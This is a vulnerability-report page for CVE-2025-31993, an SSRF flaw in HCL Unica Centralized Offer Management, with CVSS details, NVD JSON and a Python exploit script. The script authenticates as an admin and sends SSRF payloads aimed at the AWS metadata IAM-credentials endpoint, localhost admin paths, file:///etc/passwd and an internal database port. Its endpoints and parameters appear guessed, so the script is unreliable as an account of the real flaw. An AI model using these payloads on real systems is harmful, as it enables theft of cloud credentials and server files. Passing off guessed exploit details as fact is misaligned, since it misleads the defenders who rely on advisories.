Security Vulnerability Report
中文
CVE-2025-31993 CVSS 3.5 LOW

CVE-2025-31993

Published: 2025-10-12 03:15:33
Last Modified: 2025-10-29 17:35:59

Description

HCL Unica Centralized Offer Management is vulnerable to a potential Server-Side Request Forgery (SSRF). An attacker can exploit improper input validation by submitting maliciously crafted input to a target application running on a server.

CVSS Details

CVSS Score
3.5
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:hcltech:unica_centralized_offer_management:*:*:*:*:*:*:*:* - VULNERABLE
HCL Unica Centralized Offer Management(具体受影响版本请参考HCL官方安全公告KB0124422)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-31993 - HCL Unica Centralized Offer Management SSRF PoC # This PoC demonstrates the SSRF vulnerability by submitting a crafted URL # to the Centralized Offer Management component. import requests # Target server running HCL Unica Centralized Offer Management TARGET_URL = "https://target-unica-server:8443/unica/offer/centralized" # Attacker credentials (high privilege required: PR:H) USERNAME = "admin" PASSWORD = "password123" # Session for authenticated requests session = requests.Session() def exploit_ssrf(): """ Exploit SSRF by submitting a malicious URL through the offer management interface. The server will fetch the URL on behalf of the attacker, potentially accessing internal resources or cloud metadata services. """ # Step 1: Authenticate to obtain a valid session login_payload = { "username": USERNAME, "password": PASSWORD } session.post(f"{TARGET_URL}/login", data=login_payload) # Step 2: Submit malicious URL through the offer template/resource fetch feature # Targeting internal cloud metadata service (AWS example) ssrf_payloads = [ "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "http://localhost:8080/admin/config", "http://127.0.0.1:8443/internal/status", "file:///etc/passwd", "http://internal-service.local:3306/" ] for payload_url in ssrf_payloads: # Step 3: Inject the malicious URL into the offer management request offer_payload = { "offerName": "TestOffer", "offerType": "PROMOTIONAL", "resourceUrl": payload_url, # Vulnerable parameter "templateUrl": payload_url, # Another potential vulnerable parameter "callbackUrl": payload_url # Callback URL parameter } response = session.post( f"{TARGET_URL}/api/offer/create", json=offer_payload, headers={"Content-Type": "application/json"} ) print(f"[*] Payload: {payload_url}") print(f"[*] Status: {response.status_code}") print(f"[*] Response: {response.text[:500]}") print("-" * 60) if __name__ == "__main__": exploit_ssrf()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-31993", "sourceIdentifier": "[email protected]", "published": "2025-10-12T03:15:32.907", "lastModified": "2025-10-29T17:35:58.623", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL Unica Centralized Offer Management is vulnerable to a potential Server-Side Request Forgery (SSRF). An attacker can exploit improper input validation by submitting maliciously crafted input to a target application running on a server."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:N/A:L", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:unica_centralized_offer_management:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.1.0.1", "matchCriteriaId": "5542E4D6-1B72-44F5-8CFF-D31D47444299"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0124422", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}